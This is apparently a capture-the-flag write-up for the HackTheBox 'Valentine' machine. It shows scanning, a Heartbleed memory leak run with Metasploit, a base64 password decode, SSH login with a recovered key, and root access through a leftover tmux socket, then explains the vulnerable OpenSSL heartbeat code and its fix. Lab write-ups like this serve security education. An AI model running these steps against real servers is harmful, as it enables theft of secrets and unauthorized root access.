../ HTB boot2root - Valentine (Easy)

The Valentine machine is a easy linux box.

If you are italian you might want to check out the related video.

#Getting a Foothold

#Port scanning

Doing basic scans with nmap gives us the following

nmap -sC -sV valentine
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-27 16:07 CET
Nmap scan report for valentine (
Host is up (0.051s latency).
Not shown: 997 closed ports
22/tcp  open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
|   2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
|_  256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
80/tcp  open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open  ssl/ssl Apache httpd (SSL-only mode)
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Not valid before: 2018-02-06T00:45:25
|_Not valid after:  2019-02-06T00:45:25
|_ssl-date: 2021-03-27T15:07:45+00:00; 0s from scanner time.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.27 seconds

As we can see, we have a web server that offers HTTPS.

#Enumerating web sever

By going to the web server we are welcomed to an image representing an heart that bleeds.

Doing a quick dirsearch to check for hidden resources, we get the following

python3 dirsearch.py -w ~/repos/wordlists/dirb/common.txt -u http://valentine -e php,txt
Extensions: php, txt | HTTP method: GET | Threads: 20 | Wordlist size: 4613
Error Log: /home/leo/repos/dirsearch/logs/errors-21-03-27_16-12-29.log
Target: http://valentine
Output File: /home/leo/repos/dirsearch/reports/valentine/_21-03-27_16-12-29.txt

[16:12:29] Starting:
[16:12:34] 403 -  285B  - /cgi-bin/
[16:12:35] 200 -  552B  - /decode
[16:12:35] 301 -  304B  - /dev  ->  http://valentine/dev/
[16:12:35] 200 -  554B  - /encode
[16:12:37] 200 -   38B  - /index
[16:12:37] 200 -   38B  - /index.php
[16:12:42] 403 -  290B  - /server-status

Task Completed

By going to the folder in /dev we see two files

The file notes.txt contains the following

To do:

1) Coffee.
2) Research.
3) Fix decoder/encoder before going live.
4) Make sure encoding/decoding is only done client-side.
5) Don't use the decoder/encoder until any of this is done.
6) Find a better way to take notes.

While the file hype_key contains a bunch of bytes written in hexadecimal. If we decode the bytes to ascii we get the following rsa private key

Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46


Notice that we cant yet use this key, as it is password protected.

#Exploiting heartbleed

To actually get the password the idea is to exploit a well-known and old vulnerability of openssl, the open source implementation of the TLS/SSL protocol. Indeed, remember the bleeding heart that we saw as soon as we went to the web server? Well, that was a hint, because the vulnerability we have to exploit came to be known as heartbleed (CVE-2014-0160).

There are lots of resources and sites explaining heartbleed, but for a quick rundown of the vulnerability, the idea is that the TLS protocol allows an extension for sending heartbeat messages between the client and the server. These heartbeat messages are short messages whose only purpose is to make sure that the connection is still valid. The problem, which caused heartbleed, was that in older versions of openssl a client could send the server only a single byte of data while declaring that it had sent around 64k of data. When the server processed the message, no checks were made on the payload length declared by the client, that is the server did not check if the client actually sent the amount of data it declared to have sent, and when the server replied, the client could read up to 64k of memory from the server. Since the server memory can contain confidential information such as authentication cookies, private keys, and so on, this vulnerability posed a serious threat. For a more thorough analysis go at the end of the writeup, where I analyze the commit in which it was fixed to check what was vulnerable in the code itself.

To actually check if this server is vulnerable to heartbleed, the following nmap script can be used

nmap -p 443 --script ssl-heartbleed valentine 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-27 16:17 CET
Nmap scan report for valentine (
Host is up (0.052s latency).

443/tcp open  https
| ssl-heartbleed:
|  The Heartbleed Bug is a serious vulnerability in the popular
|  OpenSSL cryptographic software library. It allows for stealing
|  information intended to be protected by SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and
| 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug
| allows for reading memory of systems protected by the vulnerable
| OpenSSL versions and could allow for disclosure of otherwise
| encrypted confidential information as well as the encryption keys
| themselves.
|     References:
|       http://cvedetails.com/cve/2014-0160/
|       http://www.openssl.org/news/secadv_20140407.txt
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160

Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds

As we can see, the server is vulnerable. To exploit this vulnerability we can either use the following python script, or we can use a metasploit module as follows

search heartbleed
use auxiliary/scanner/ssl/openssl_heartbleed
show options
set verbose true
set RHOSTS <valentine_ip>

Notice the set verbose true option so that we are able to see the payload returned by the server, which is the memory of the server itself. When we hit run we get the following response

msf5 auxiliary(scanner/ssl/openssl_heartbleed) > run

[*]    - Leaking heartbeat response #1
[*]    - Sending Client Hello...
[*]    - SSL record #1:
[*]    -     Type:    22
[*]    -     Version: 0x0301
[*]    -     Length:  86
[*]    -     Handshake #1:
[*]    -             Length: 82
[*]    -             Type:   Server Hello (2)
[*]    -             Server Hello Version:           0x0301
[*]    -             Server Hello random data:       605c3e5d496a2b8de38ca697baffedd224393feff0de224dd6bc89f46d5920e0
[*]    -             Server Hello Session ID length: 32
[*]    -             Server Hello Session ID:        8b27bc38edf5a9cbcb83f83a91d8aa14cff400f2abbc0cf6d59fddebdf0e0ced
[*]    - SSL record #2:
[*]    -     Type:    22
[*]    -     Version: 0x0301
[*]    -     Length:  885
[*]    -     Handshake #1:
[*]    -             Length: 881
[*]    -             Type:   Certificate Data (11)
[*]    -             Certificates length: 878
[*]    -             Data length: 881
[*]    -             Certificate #1:
[*]    -                     Certificate #1: Length: 875
[*]    -                     Certificate #1: #<OpenSSL::X509::Certificate: subject=#<OpenSSL::X509::Name CN=valentine.htb,O=valentine.htb,ST=FL,C=US>, issuer=#<OpenSSL::X509::Name CN=valentine.htb,O=valentine.htb,ST=FL,C=US>, serial=#<OpenSSL::BN:0x00007f74dcd448f8>, not_before=2018-02-06 00:45:25 UTC, not_after=2019-02-06 00:45:25 UTC>
[*]    - SSL record #3:
[*]    -     Type:    22
[*]    -     Version: 0x0301
[*]    -     Length:  331
[*]    -     Handshake #1:
[*]    -             Length: 327
[*]    -             Type:   Server Key Exchange (12)
[*]    - SSL record #4:
[*]    -     Type:    22
[*]    -     Version: 0x0301
[*]    -     Length:  4
[*]    -     Handshake #1:
[*]    -             Length: 0
[*]    -             Type:   Server Hello Done (14)
[*]    - Sending Heartbeat...
[*]    - Heartbeat response, 65535 bytes
[+]    - Heartbeat response with leak, 65535 bytes
[*]    - Printable info leaked:
<random garbage>
<random garbage>
<random garbage>
<random garbage>
<random garbage>
[*]    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

If we hit run enough times, at some point in the <random garbage> we see the following interesting data

Gecko/20100101 Firefox/45.0..Referer:
Content-Type: application/x-www-form-urlencoded..
Content-Length: 42....

Notice in particular that $text=. It seems like its something encoded in base64. If we decode it as follows

echo "aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==" | base64 -d

we get heartbleedbelievethehype, which seems like a password.

#Getting user flag

We can use the password we have just found to decrypt the rsa key we found on the web server. To log in the machine we then just have to "guess" that the correct user with which to use the found rsa key is the hype user.

The way to get inside the machine is thus by executing the following

ssh -i id_rsa hype@valentine

where id_rsa is the decrypted private key. We can also log in without decryping the private key first. In that case we will be prompted for a password, and the correct password is heartbleedbelievethehype.

Once we are inside the machine the user flag can be easily obtained as follows

cat /home/hype/Desktop/user.txt

#Privilege Escalation

To escale our privileges and get the root flag we then simply need to access a left-over tmux root-session found in ./devs/dev_sess with the following command

tmux -S /.devs/dev_sess

Once we are root, we can access the root flag as follows

cat /root/root.txt


#Inside heartbleed (CVE-2014-0160)

To understand better this vulnerability the following resources might help:

By downloading the version of the code right before it got fixed, we can start to analyze the flaw. The files of interested are two, as is shown the commit: ssl/d1_both.c and ssl/t1_lib.c. Since however the d1_both.c is used for the DTLS implementation, which a version of TLS that uses the UDP transport protocol - as opposed to the traditional version of TLS that uses TCP - we will only check out t1_lib1.c. Let us first discuss the flawed version of the code, and at the end we will discuss how it was fixed.

The function of interest is tls1_process_heartbeat(). As soon as we enter in the function the server reads the number bytes that the client declared to have sent, and puts such number in the payload variable.

tls1_process_heartbeat(SSL *s)
  // -- p points to record data from client
  unsigned char *p = &s->s3->rrec.data[0], *pl;
  unsigned short hbtype;
  unsigned int payload;
  unsigned int padding = 16; /* Use minimum padding */

  /* Read type and payload length first */
  hbtype = *p++;
  // -- read 2 bytes from p and put them in payload
  n2s(p, payload);
  pl = p;

  // -- now payload has length of data from client

If the message was an heartbeat request, the server then proceeds to allocate memory. The memory allocated depends on the amount of data specified by the client, that is on the variable payload.

if (hbtype == TLS1_HB_REQUEST)
    unsigned char *buffer, *bp;
    int r;

    /* Allocate memory for the response, size is 1 bytes
     * message type, plus 2 bytes payload length, plus
     * payload, plus padding
    buffer = OPENSSL_malloc(1 + 2 + payload + padding);
    bp = buffer;

Once the memory is allocated, the server does a memcpy to fill up the buffer that will then be sent to the client as a response

/* Enter response type, length and copy payload */
s2n(payload, bp);
memcpy(bp, pl, payload); // ! can leak memory !
bp += payload;
/* Random padding */
RAND_pseudo_bytes(bp, padding);

And here is the real problem: the memcpy call copies payload number of bytes from pl to bp, where pl points to the buffer containg the data sent by the client to the server. Now, since no check was made to make sure that the client was honest about how much data it sent, it can happen that pl points to a buffer with less bytes than it is declared in payload. In this case what is copied in the response message is taken from the server memory that sits near the bufffer pointed by pl. This is where the leak happens.

To fix the vulnerabily the following code was added when reading the payload length from the client's request

/* Read type and payload length first */
if (1 + 2 + 16 > s->s3->rrec.length)
  return 0; /* silently discard */
hbtype = *p++;
n2s(p, payload);
if (1 + 2 + payload + 16 > s->s3->rrec.length)
  return 0; /* silently discard per RFC 6520 sec. 4 */
pl = p;

This code makes sure to discard heartbeat requests where the payload declared is too big relative to the actual length of the data received by the server from the client.